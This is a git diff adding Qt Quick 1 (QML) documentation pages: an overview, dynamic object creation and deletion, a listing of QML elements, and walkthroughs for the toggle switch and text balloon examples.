+\snippet doc/src/snippets/declarative/codingconventions/javascript.qml 2
+
+For long scripts, we will put the functions in their own JavaScript file and import it like this:
+
+\snippet doc/src/snippets/declarative/codingconventions/javascript-imports.qml 0
+
+*/
+
+
+
+
+
+
+
+
+
diff --git a/doc/src/qtquick1/declarativeui.qdoc b/doc/src/qtquick1/declarativeui.qdoc
new file mode 100644
index 0000000000..d89ca53dbb
--- /dev/null
+++ b/doc/src/qtquick1/declarativeui.qdoc
@@ -0,0 +1,158 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\title Qt Quick
+\page qtquick.html
+\ingroup qt-gui-concepts
+
+\brief Qt Quick provides a declarative framework for building highly
+dynamic user interfaces.
+
+Qt Quick is a collection of technologies that are designed to help
+developers create the kind of intuitive, modern, fluid user
+interfaces that are increasingly used on mobile phones, media players,
+set-top boxes and other portable devices.
+
+Qt Quick consists of a rich set of user interface elements, a declarative
+language for describing user interfaces and a language runtime. A collection
+of C++ APIs is used to integrate these high level features with classic
+Qt applications.
+
+\section1 Getting Started
+
+\list
+\o \l{Intro to Qt Quick}{Introduction to Qt Quick}
+\o \l{QML for Qt Programmers}{QML Programming for Qt Programmers}
+\o \l{Getting Started Programming with QML}
+
+\o \l{What's new in Qt Quick}{What's New in the Qt Quick Release}
+\o \l{QML Examples and Demos}
+\endlist
+
+\section1 QML Features
+
+\list
+\o \l{QML Basic Elements}{Basic Elements}
+\o \l{QML Basic Types}{Data Types}
+\o \l{Property Binding}
+\o \l{Using QML Positioner and Repeater Items}{Component Layouts}
+\o \l{Anchor-based Layout in QML}{Layouts using Anchors}
+\o \l{QML Mouse Events}{Mouse Events}
+\o \l{QML Text Handling and Validators}{Text Handling and Validators}
+\o \l{Keyboard Focus in QML}{Keyboard Focus}
+\o \l{QML Signal and Handler Event System}{Signal and Handler Event System}
+\o \l{Importing Reusable Components}
+\o \l{QML States}{States}
+\o \l{QML Animation and Transitions}{Animation and Transitions}
+\o \l{QML Data Models}{Structuring Data with Models}
+\o \l{Presenting Data with Views}
+\o \l{Extending QML Functionalities using C++}
+\o \l{Using QML Bindings in C++ Applications}
+\o \l{Integrating QML Code with Existing Qt UI Code}
+\o \l{Dynamic Object Management in QML}{Dynamic Object Management}
+\o \l{Network Transparency}{Loading Resources in QML}
+\o \l{QML Internationalization}{Internationalization}
+\endlist
+
+\section1 QML Add-Ons
+
+\list
+\o \l{QtWebKit QML Module}
+\o \l{http://doc.qt.nokia.com/qtmobility-1.1.0/qml-plugins.html}{Mobility QML Plugins}
+\endlist
+
+\section1 Qt Quick Tools
+
+\list
+\o \l{Debugging QML}
+\o \l{external: Developing Qt Quick Applications with Creator}{Developing with Qt Creator}
+\o \l{QML Viewer}
+\endlist
+
+\section1 Reference
+
+\list
+\o \l{Introduction to the QML language}{QML Syntax}
+\o \l{QML Elements}
+\o \l{Qt Declarative Module}
+\o \l{QML Basic Types}{QML Data Types}
+\o \l{QML Coding Conventions}
+\o \l{external: Qt Creator Manual}{Qt Creator Manual}
+\o \l{Programming with Qt}
+\o \l{http://doc.qt.nokia.com/qtmobility-1.1.0/index.html}{Qt Mobility Documentation}
+\endlist
+
+\section1 Architecture
+
+\list
+\o \l{Qt Declarative UI Runtime}
+\o \l{Integrating JavaScript}
+\o \l{QML Scope}
+\o \l{QML Modules}
+\o \l{QML Documents}
+\o \l{QML Global Object}
+\o \l{QML Internationalization}
+\o \l{QML Right-to-left User Interfaces}
+\o \l{QML Security}
+\o \l{Qt Declarative Module}
+\endlist
+
+\section1 Examples
+
+\list
+\o \l{QML Tutorial}{"Hello World" Tutorial}
+\o \l{Getting Started Programming with QML}
+\o \l{QML Advanced Tutorial}{Tutorial: "Same Game"}
+\o \l{Tutorial: Writing QML extensions with C++}
+\o \l{QML Examples and Demos}
+
+\o Forum Nokia:
+\l{http://wiki.forum.nokia.com/index.php/Qt_Quick_examples_for_porting}{Qt Quick
+examples for porting}
+\endlist
+
+\section1 Best Practices
+
+\list
+\o \l{QML Best Practices: Coding Conventions}{Coding Tips}
+\o \l{QML Performance}{Performance Tips}
+\endlist
+
+\section1 License Information
+\list
+\o \l{Qt Quick Licensing Information}
+\endlist
+
+\section1 Online Examples
+
+\list
+\o Forum Nokia:
+\l{http://wiki.forum.nokia.com/index.php/Qt_Quick_examples_for_porting}{Qt Quick
+examples for porting}
+\endlist
+*/
diff --git a/doc/src/qtquick1/dynamicobjects.qdoc b/doc/src/qtquick1/dynamicobjects.qdoc
new file mode 100644
index 0000000000..0c89996613
--- /dev/null
+++ b/doc/src/qtquick1/dynamicobjects.qdoc
@@ -0,0 +1,215 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativedynamicobjects.html
+\ingroup qml-features
+\contentspage {QML Features}
+\previouspage {Integrating QML Code with Existing Qt UI Code}
+\nextpage {Network Transparency}{Loading Resources in QML}
+\title Dynamic Object Management in QML
+
+QML provides a number of ways to dynamically create and manage QML objects.
+The \l{Loader}, \l{Repeater}, \l{ListView}, \l{GridView} and \l{PathView} elements
+all support dynamic object management. Objects can also be created and managed
+from C++, and this is the preferred method for hybrid QML/C++ applications
+(see \l{Using QML Bindings in C++ Applications}).
+
+QML also supports the dynamic creation of objects from within JavaScript
+code. This is useful if the existing QML elements do not fit the needs of your
+application, and there are no C++ components involved.
+
+See the \l {declarative/toys/dynamicscene}{Dynamic Scene example} for a demonstration
+of the concepts discussed on this page.
+
+
+\section1 Creating Objects Dynamically
+
+There are two ways to create objects dynamically from JavaScript. You can either call
+\l {QML:Qt::createComponent()}{Qt.createComponent()} to dynamically create
+a \l Component object, or use \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()}
+to create an item from a string of QML.
+Creating a component is better if you have an existing component defined in a \c .qml
+file, and you want to dynamically create instances of that component. Otherwise,
+creating an item from a string of QML is useful when the item QML itself is generated
+at runtime.
+
+
+\section2 Creating a Component Dynamically
+
+To dynamically load a component defined in a QML file, call the
+\l {QML:Qt::createComponent()}{Qt.createComponent()} function on the \l{QML Global Object}.
+This function takes the URL of the QML file as its only argument and creates
+a \l Component object from this URL.
+
+Once you have a \l Component, you can call its \l {Component::createObject()}{createObject()} method to create an instance of
+the component. This function can take one or two arguments:
+\list
+\o The first is the parent for the new item. Since graphical items will not appear on the scene without a parent, it is
+ recommended that you set the parent this way. However, if you wish to set the parent later you can safely pass \c null to
+ this function.
+\o The second is optional and is a map of property-value items that define initial any property values for the item.
+ Property values specified by this argument are applied to the object before its creation is finalized, avoiding
+ binding errors that may occur if particular properties must be initialized to enable other property bindings.
+ when certain properties have been bound to before they have been set by the code. Additionally, there are small
+ performance benefits when compared to defining property values and bindings after the object is created.
+\endlist
+
+Here is an example. First there is \c Sprite.qml, which defines a simple QML component:
+
+\snippet doc/src/snippets/declarative/Sprite.qml 0
+
+Our main application file, \c main.qml, imports a \c componentCreation.js JavaScript file
+that will create \c Sprite objects:
+
+\snippet doc/src/snippets/declarative/createComponent.qml 0
+
+Here is \c componentCreation.js. Notice it checks whether the component \l{Component::status}{status} is
+\c Component.Ready before calling \l {Component::createObject()}{createObject()}
+in case the QML file is loaded over a network and thus is not ready immediately.
+
+\snippet doc/src/snippets/declarative/componentCreation.js vars
+\codeline
+\snippet doc/src/snippets/declarative/componentCreation.js func
+\snippet doc/src/snippets/declarative/componentCreation.js remote
+\snippet doc/src/snippets/declarative/componentCreation.js func-end
+\codeline
+\snippet doc/src/snippets/declarative/componentCreation.js finishCreation
+
+If you are certain the QML file to be loaded is a local file, you could omit the \c finishCreation()
+function and call \l {Component::createObject()}{createObject()} immediately:
+
+\snippet doc/src/snippets/declarative/componentCreation.js func
+\snippet doc/src/snippets/declarative/componentCreation.js local
+\snippet doc/src/snippets/declarative/componentCreation.js func-end
+
+Notice in both instances, \l {Component::createObject()}{createObject()} is called with
+\c appWindow passed as an argument so that the created object will become a child of the
+\c appWindow item in \c main.qml. Otherwise, the new item will not appear in the scene.
+
+When using files with relative paths, the path should
+be relative to the file where \l {QML:Qt::createComponent()}{Qt.createComponent()} is executed.
+
+To connect signals to (or receive signals from) dynamically created objects,
+use the signal \c connect() method. See
+\l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals}
+{Connecting Signals to Methods and Signals} for more information.
+
+
+\section2 Creating an Object from a String of QML
+
+If the QML is not defined until runtime, you can create a QML item from
+a string of QML using the \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} function, as in the following example:
+
+\snippet doc/src/snippets/declarative/createQmlObject.qml 0
+
+The first argument is the string of QML to create. Just like in a new file, you will need to
+import any types you wish to use. The second argument is the parent item for the new item;
+this should be an existing item in the scene. The third argument is the file path to associate
+with the new item; this is used for error reporting.
+
+If the string of QML imports files using relative paths, the path should be relative
+to the file in which the parent item (the second argument to the method) is defined.
+
+
+\section1 Maintaining Dynamically Created Objects
+
+When managing dynamically created items, you must ensure the creation context
+outlives the created item. Otherwise, if the creation context is destroyed first,
+the bindings in the dynamic item will no longer work.
+
+The actual creation context depends on how an item is created:
+
+\list
+\o If \l {QML:Qt::createComponent()}{Qt.createComponent()} is used, the creation context
+ is the QDeclarativeContext in which this method is called
+\o If \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()}
+ if called, the creation context is the context of the parent item passed to this method
+\o If a \c {Component{}} item is defined and \l {Component::createObject()}{createObject()}
+ is called on that item, the creation context is the context in which the \c Component is defined
+\endlist
+
+Also, note that while dynamically created objects may be used the same as other objects, they
+do not have an id in QML.
+
+
+\section1 Deleting Objects Dynamically
+
+In many user interfaces, it is sufficient to set an item's opacity to 0 or
+to move the item off the screen instead of deleting the item. If you have
+lots of dynamically created items, however, you may receive a worthwhile
+performance benefit if unused items are deleted.
+
+Note that you should never manually delete items that were dynamically created
+by QML elements (such as \l Loader and \l Repeater). Also, you should avoid deleting
+items that you did not dynamically create yourself.
+
+Items can be deleted using the \c destroy() method. This method has an optional
+argument (which defaults to 0) that specifies the approximate delay in milliseconds
+before the object is to be destroyed.
+
+Here is an example. The \c application.qml creates five instances of the \c SelfDestroyingRect.qml
+component. Each instance runs a NumberAnimation, and when the animation has finished, calls
+\c destroy() on its root item to destroy itself:
+
+\table
+\row
+\o \c application.qml
+\o \c SelfDestroyingRect.qml
+
+\row
+\o \snippet doc/src/snippets/declarative/dynamicObjects-destroy.qml 0
+\o \snippet doc/src/snippets/declarative/SelfDestroyingRect.qml 0
+
+\endtable
+
+Alternatively, the \c application.qml could have destroyed the created object
+by calling \c object.destroy().
+
+Note that it is safe to call destroy() on an object within that object. Objects are not destroyed the
+instant destroy() is called, but are cleaned up sometime between the end of that script block and the next frame
+(unless you specified a non-zero delay).
+
+Note also that if a \c SelfDestroyingRect instance was created statically like this:
+
+\qml
+Item {
+ SelfDestroyingRect {
+ // ...
+ }
+}
+\endqml
+
+This would result in an error, since items can only be dynamically
+destroyed if they were dynamically created.
+
+Objects created with \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()}
+can similarly be destroyed using \c destroy():
+
+\snippet doc/src/snippets/declarative/createQmlObject.qml 0
+\snippet doc/src/snippets/declarative/createQmlObject.qml destroy
+*/
diff --git a/doc/src/qtquick1/elements.qdoc b/doc/src/qtquick1/elements.qdoc
new file mode 100644
index 0000000000..a861a66a58
--- /dev/null
+++ b/doc/src/qtquick1/elements.qdoc
@@ -0,0 +1,323 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \page qdeclarativeelements.html
+ \target elements
+ \title QML Elements
+ \brief A listing of standard QML elements.
+
+These are the functionally grouped lists of QML elements as part of
+\l{Qt Quick}.
+
+Elements are declared with the their name and two curly braces. Elements may
+be nested in elements, thereby creating a parent-child relationship between the
+two elements.
+
+To see the QML elements listed by functional area, see the
+\l{Groups Of Related QML Elements} page.
+
+\section1 Basic QML Elements
+\list
+\o \l {Item} - Basic item element inherited by QML elements
+\o \l {Component} - Encapsulates QML elements during importing
+\o \l {QML:QtObject} {QtObject} - Basic element containing only the \c {objectName} property
+\endlist
+
+\section1 Graphics
+\list
+\o \l {Rectangle} - A rectangle element
+\o \l {Image} - For incorporating bitmaps into a scene
+\o \l {BorderImage} - Allows the use of images as borders
+\o \l {AnimatedImage} - For playing animations stored in a series of frames
+\o \l {Gradient} - For defining a color gradient
+\o \l {GradientStop} - Used to define a color within a \l {Gradient}
+\o \l {SystemPalette} - Provides access to the Qt palettes
+\endlist
+
+\section1 Text Handling
+\list
+\o \l {Text} - For inserting formatted text into a scene
+\o \l {TextInput} - Captures user key input
+\o \l {TextEdit} - Displays multiple lines of editable formatted text
+\o \l {IntValidator} - Validates values as integers
+\o \l {DoubleValidator} - Validates real values
+\o \l {RegExpValidator} - Validator for string regular expressions
+\o \l {FontLoader} - Loads fonts by name or URL
+\endlist
+
+\section1 Mouse and Interaction Area
+\list
+\o \l {MouseArea} - Sets up an area for mouse interaction
+\o \l {Keys} - Provides components with attached properties to handle key input.
+\o \l {FocusScope} - Element that mediate keyboard focus changes
+\o \l {Flickable} - Provides a surface that can be "flicked"
+\o \l {Flipable} - Provides a surface that produces "flipping" effects
+\o \l {PinchArea} - Enables simple pinch gesture handling
+\endlist
+
+\section1 Positioners and Repeater
+\list
+\o \l {Column} - Arranges its children vertically
+\o \l {Row} - Arranges its children horizontally
+\o \l {Grid} - Positions its children in a grid
+\o \l {Flow} - Positions its children with wrapping support
+\o \l {Repeater} - Uses a model to create multiple components
+\endlist
+
+\section1 Transformations
+\list
+\o \l {Scale} - Assigns item scaling behaviors
+\o \l {Rotation} - Assigns item rotation behaviors
+\o \l {Translate} - Assigns item translation behaviors
+\endlist
+
+\section1 States
+\list
+\o \l {State} - Defines sets of configurations of objects and properties
+\o \l {PropertyChanges} - Describes property changes within a state
+\o \l {StateGroup} - Contains a set of states and state transitions
+\o \l {StateChangeScript} - Allows script binding in a state
+\o \l {ParentChange} - Re-parent an Item in a state change
+\o \l {AnchorChanges} - Change the anchors of an item in a state
+\endlist
+
+\section1 Animation and Transitions
+\list
+\o \l {Transition} - Animates transitions during state changes
+\o \l {SequentialAnimation} - Runs animations sequentially
+\o \l {ParallelAnimation} - Runs animations in parallel
+\o \l {Behavior} - Specifies a default animation for property changes
+\o \l {PropertyAction} - Sets immediate property changes during animation
+\o \l {PauseAnimation} - Introduces a pause in an animation
+\o \l {SmoothedAnimation} - Allows a property to smoothly track a value
+\o \l {SpringAnimation} - Allows a property to track a value in a spring-like motion
+\o \l {ScriptAction} - Runs scripts during an animation
+\endlist
+
+Elements that animate properties based on data types
+\list
+\o \l {PropertyAnimation} - Animates property changes
+\o \l {NumberAnimation} - Animates properties of type qreal
+\o \l {Vector3dAnimation} - Animates properties of type QVector3d
+\o \l {ColorAnimation} - Animates color changes
+\o \l {RotationAnimation} - Animates rotations
+\o \l {ParentAnimation} - Animates parent changes
+\o \l {AnchorAnimation} - Animates anchor changes
+\endlist
+
+\section1 Models and Data Handling
+\list
+\o \l {ListModel} - Defines a list of data
+\o \l {ListElement} - Defines a data item in a \l {ListModel}
+\o \l {VisualItemModel} - Contains items that already defines its own visual delegate
+\o \l {VisualDataModel} - Encapsulates a model and a delegate
+\o \l {XmlListModel} - Specifies a model using XPath expressions
+\o \l {XmlRole} - Specifies a role for an \l {XmlListModel}
+\o \l {Binding} - Binds any value to any property
+\o \l {Package} - Collection that enables sharing of items within different views
+\endlist
+
+\section1 Views
+\list
+\o \l {ListView} - Provides a list visualization of a model
+\o \l {GridView} - Provides a grid visualization of a model
+\o \l {PathView} - Visualizes a model's contents along a path. See \l {Path Definition}{Path Elements} for more information.
+\endlist
+
+\section1 Path Definition
+\list
+\o \l {Path} - Defines a path used by \l {PathView}
+\o \l {PathLine} - Defines a line in \l {Path}
+\o \l {PathQuad} - Defines a quadratic Bezier curve in a \l {Path}
+\o \l {PathCubic} - Defines a cubic Bezier curve in a \l {Path}
+\o \l {PathAttribute} - Allows the setting of attributes along a \l {Path}
+\o \l {PathPercent} - Modifies the item distribution along a \l {Path}
+\endlist
+
+\section1 Utility
+\list
+\o \l {Connections} - Explicitly connects signals and signal handlers
+\o \l {Timer} - Provides timed triggers
+\o \l {QML:Qt} {Qt} - The QML global Qt object provides useful enums and functions from Qt.
+\o \l {WorkerScript} - Enables the use of threads in QML
+\o \l {Loader} - Controls the loading of items or components
+\o \l {LayoutItem} - Allows declarative UI elements inside Qt's Graphics View layouts
+\endlist
+
+\section1 Graphical Effects
+\list
+\o \l {Particles} - Generates and animates particles
+\o \l {ParticleMotionLinear} - Adds linear motion behavior to \l {Particles}
+\o \l {ParticleMotionGravity} - Adds gravitational motion to \l {Particles}
+\o \l {ParticleMotionWander} - Adds varied motions to \l {Particles}
+\endlist
+
+\section1 Add-On Elements
+These elements are not included in the \c{QtQuick 1.0} module. Their respective QML bindings
+should first be obtained and installed.
+\list
+\o \l{WebView}{QtWebKit QML Module - WebView Element} - For displaying Web contents
+\o \l{http://doc.qt.nokia.com/qtmobility-1.1.0/qml-plugins.html}{Mobility QML Plugins}
+\endlist
+
+*/
+
+
+/*!
+ \group qml-groups
+ \title Groups Of Related QML Elements
+
+ \brief If you know what kind of QML element you want (Basic Visual,
+ Interaction, Animation, etc), look here.
+
+ This is a list of functional groups of QML elements.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-basic-visual-elements
+ \title Basic QML Visual Elements
+ \ingroup qml-groups
+
+ \brief Elements for constructing basic visual items.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-basic-interaction-elements
+ \title Basic QML Interaction Elements
+ \ingroup qml-groups
+
+ \brief Elements for handling basic interactions.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-state-elements
+ \title QML State Elements
+ \ingroup qml-groups
+
+ \brief Elements for handling state changes.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-event-elements
+ \title QML Event Elements
+ \ingroup qml-groups
+
+ \brief Elements for handling events.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-animation-transition
+ \title QML Animation and Transition Elements
+ \ingroup qml-groups
+
+ \brief Elements for handling animations and transitions.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-working-with-data
+ \title Working With Data in QML
+ \ingroup qml-groups
+
+ \brief Elements for working with data.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-view-elements
+ \title QML View Elements
+ \ingroup qml-groups
+
+ \brief Elements for handling views.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-positioning-elements
+ \title QML Positioning Elements
+ \ingroup qml-groups
+
+ \brief Elements for positioning items.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-utility-elements
+ \title QML Utility Elements
+ \ingroup qml-groups
+
+ \brief Elements for handling misc operations.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-transform-elements
+ \title QML Transform Elements
+ \ingroup qml-groups
+
+ \brief Elements for handling transformations.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-particle-elements
+ \title QML Particle Elements
+ \ingroup qml-groups
+
+ \brief Elements for handling particle effects.
+
+ \generatelist{related}
+
+*/
diff --git a/doc/src/qtquick1/example-slideswitch.qdoc b/doc/src/qtquick1/example-slideswitch.qdoc
new file mode 100644
index 0000000000..a4d8cbe855
--- /dev/null
+++ b/doc/src/qtquick1/example-slideswitch.qdoc
@@ -0,0 +1,129 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativeexampletoggleswitch.html
+\title QML Example - Toggle Switch
+
+This example shows how to create a reusable switch component in QML.
+
+The code for this example can be found in the \c $QTDIR/examples/declarative/ui-components/slideswitch directory.
+
+The elements that compose the switch are:
+
+\list
+\o a \c on property (the interface to interact with the switch),
+\o two images (the background image and the knob),
+\o two mouse regions for user interation (on the background image and on the knob),
+\o two states (a \e on state and a \e off state),
+\o two functions or slots to react to the user interation (\c toggle() and \c dorelease()),
+\o and a transition that describe how to go from one state to the other.
+\endlist
+
+\section1 Switch.qml
+\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 0
+
+\section1 Walkthrough
+
+\section2 Interface
+\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 1
+
+This property is the interface of the switch. By default, the switch is off and this property is \c false.
+It can be used to activate/disactivate the switch or to query its current state.
+
+In this example:
+
+\qml
+Item {
+ Switch {
+ id: mySwitch
+ on: true
+ }
+ Text {
+ text: "The switch is on"
+ visible: mySwitch.on == true
+ }
+}
+\endqml
+
+the text will only be visible when the switch is on.
+
+\section2 Images and user interaction
+\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 4
+
+First, we create the background image of the switch.
+In order for the switch to toggle when the user clicks on the background, we add a \l{MouseArea} as a child item of the image.
+A \c MouseArea has a \c onClicked property that is triggered when the item is clicked. For the moment we will just call a
+\c toggle() function. We will see what this function does in a moment.
+
+\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 5
+
+Then, we place the image of the knob on top of the background.
+The interaction here is a little more complex. We want the knob to move with the finger when it is clicked. That is what the \c drag
+property of the \c MouseArea is for. We also want to toggle the switch if the knob is released between state. We handle this case
+in the \c dorelease() function that is called in the \c onReleased property.
+
+\section2 States
+\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 6
+
+We define the two states of the switch:
+\list
+\o In the \e on state the knob is on the right (\c x position is 78) and the \c on property is \c true.
+\o In the \e off state the knob is on the left (\c x position is 1) and the \c on property is \c false.
+\endlist
+
+For more information on states see \l{qmlstates}{QML States}.
+
+\section2 Functions
+
+We add two JavaScript functions to our switch:
+
+\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 2
+
+This first function is called when the background image or the knob are clicked. We simply want the switch to toggle between the two
+states (\e on and \e off).
+
+
+\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 3
+
+This second function is called when the knob is released and we want to make sure that the knob does not end up between states
+(neither \e on nor \e off). If it is the case call the \c toggle() function otherwise we do nothing.
+
+For more information on scripts see \l{Integrating JavaScript}.
+
+\section2 Transition
+\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 7
+
+At this point, when the switch toggles between the two states the knob will instantly change its \c x position between 1 and 78.
+In order for the the knob to move smoothly we add a transition that will animate the \c x property with an easing curve for a duration of 200ms.
+
+For more information on transitions see \l{QML Animation and Transitions}.
+
+\section1 Usage
+The switch can be used in a QML file, like this:
+\snippet examples/declarative/ui-components/slideswitch/slideswitch.qml 0
+*/
diff --git a/doc/src/qtquick1/example-textballoons.qdoc b/doc/src/qtquick1/example-textballoons.qdoc
new file mode 100644
index 0000000000..a8bed3a38c
--- /dev/null
+++ b/doc/src/qtquick1/example-textballoons.qdoc
@@ -0,0 +1,104 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \title Scenegraph Painted Item Example
+ \example declarative/painteditem/textballoons
+
+ The Painted Item example shows how to use the QML Scene Graph framework to
+ implement custom scenegraph items using QPainter.
+
+ \image declarative-textballoons_example.png
+
+ The QSGPaintedItem class is a class derived from QSGItem for implementing
+ custom QML Scene Graph items using the QPainter interfaces.
+
+ The example consists of an item class, a plugin class and a QML file
+ to use this plugin. The \c TextBalloon class represents the individual
+ text balloons extending QSGPaintedItem, the \c TextBalloonPlugin class
+ represents the skeleton code for a QtQuick plugin and the
+ \c textballoons.qml file is used to load the plugin and display the text
+ balloons.
+
+ We will focus on the \c TextBalloon class first and continue with the
+ \c textballoons.qml file. For an example on how to implement a QtQuick
+ plugin please look at \l{declarative/tutorials/extending/chapter6-plugins}
+ {Writing an Extension Plugin}
+
+ \section1 TextBalloon Class Declaration
+
+ The \c TextBalloon class inherits from QSGPaintedItem. QSGPaintedItem
+ is the base class for all QPainter based items in the QML Scene Graph
+ framework.
+
+ \snippet examples/declarative/painteditem/textballoons/textballoon.h 0
+
+ To implement a QSGPaintedItem you must implement QSGPaintedIem's pure
+ virtual function \l {QSGPaintedItem::}{paint()} which implements the
+ painting of the element.
+
+ \section1 TextBalloon Class Definition
+
+ We have to be sure to initialize the rightAligned property for a
+ TextBalloon item.
+
+ \snippet examples/declarative/painteditem/textballoons/textballoon.cpp 0
+
+ Then we implement the \c paint() function which is automatically called by
+ the Scenegraph framework to paint the contents of the item. The function
+ paints the item in local coordinates.
+
+ \snippet examples/declarative/painteditem/textballoons/textballoon.cpp 1
+
+ We start with setting the pen and brush on the item to define the look of
+ the item. After that we start drawing. Note that the \l {QSGPaintedItem::}{boundingRect()}
+ item is called to draw depending on the size of the item. The rectangle
+ returned by the \l {QSGPaintedItem::}{boundingRect()} function is the size
+ of the item as defined in the QML file.
+
+ \section1 textballoons.qml file
+
+ The Interface consists of two main parts. The scrollable area with the
+ textballoons and the controls button to add new balloons.
+
+ \section2 BalloonView
+
+ \snippet examples/declarative/painteditem/textballoons/textballoons.qml 0
+
+ The balloonModel contains two elements at application start which will be
+ displayed by the balloonView. The balloonView alernates the TextBalloon
+ delegate items between left-aligned and right-aligned.
+
+ \section2 Controls
+
+ \snippet examples/declarative/painteditem/textballoons/textballoons.qml 1
+
+ The controls part of the UI contains a rectangle with a MouseArea which
+ changes color when the mouse hovers over it. This control 'button' adds
+ a new element to the end of the model with a random width.
+
+ */
diff --git a/doc/src/qtquick1/examples.qdoc b/doc/src/qtquick1/examples.qdoc
new file mode 100644
index 0000000000..a322491190
--- /dev/null
+++ b/doc/src/qtquick1/examples.qdoc
@@ -0,0 +1,244 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \page qdeclarativeexamples.html
+ \title QML Examples
+ \brief Building UIs with QML
+ \ingroup all-examples
+
+
+Qt includes a set of examples that show how to use various aspects
+of QML. The examples are demonstrations of particular QML components,
+some are small code snippets, while others contain more complete and
+functional applications.
+
+To run the examples, open them in Qt Creator or use the included
+\l {QML Viewer} tool. The \l {QML Viewer} can be run from the command line:
+
+\code
+ qmlviewer $QTDIR/examples/declarative/samegame/samegame.qml
+\endcode
+
+On Mac OS X, you can run the included "QMLViewer" application from the
+Finder, or use the command line:
+
+\code
+ QMLViewer.app/Contents/MacOS/QMLViewer $QTDIR/examples/declarative/samegame/samegame.qml
+\endcode
+
+
+The examples can be found in Qt's \c examples/declarative directory.
+
+
